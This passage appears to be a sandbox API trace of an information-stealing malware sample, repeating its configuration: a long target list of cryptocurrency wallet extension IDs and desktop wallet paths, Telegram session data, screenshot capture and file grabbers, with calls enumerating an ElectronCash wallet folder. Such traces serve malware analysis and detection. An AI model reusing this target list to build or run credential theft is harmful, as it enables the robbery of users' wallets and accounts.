Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4031 [0266.260] LocalAlloc (uFlags=0x40, uBytes=0x1ffe) returned 0x6fc408 [0266.260] StrCpyW (in: psz1=0x6f9ac0, psz2="-" | out: psz1="-") returned="-" [0266.260] LocalFree (hMem=0x6fc408) returned 0x0 [0266.260] StrToIntW (lpSrc="26") returned 26 [0266.260] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.260] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.260] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="ElectronCash\\wallets" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ElectronCash\\wallets") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ElectronCash\\wallets" [0266.260] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6fc408 [0266.260] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6c0338 [0266.260] StrCpyW (in: psz1=0x6c0338, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ElectronCash\\wallets" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ElectronCash\\wallets") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ElectronCash\\wallets" [0266.261] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ElectronCash\\wallets\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\electroncash\\wallets\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e235e, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\ElectronCash\\waЁ", cAlternateFileName="kk")) returned 0xffffffff [0266.262] LocalFree (hMem=0x6fc408) returned 0x0 [0266.262] LocalFree (hMem=0x6bf278) returned 0x0 [0266.262] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.263] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.264] LocalFree (hMem=0x6f4830) returned 0x0 [0266.265] LocalFree (hMem=0x6f7178) returned 0x0 [0266.265] LocalFree (hMem=0x6f9ac0) returned 0x0 [0266.266] StrStrW (lpFirst="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.266] StrStrW (lpFirst="guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.266] StrStrW (lpFirst="Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension 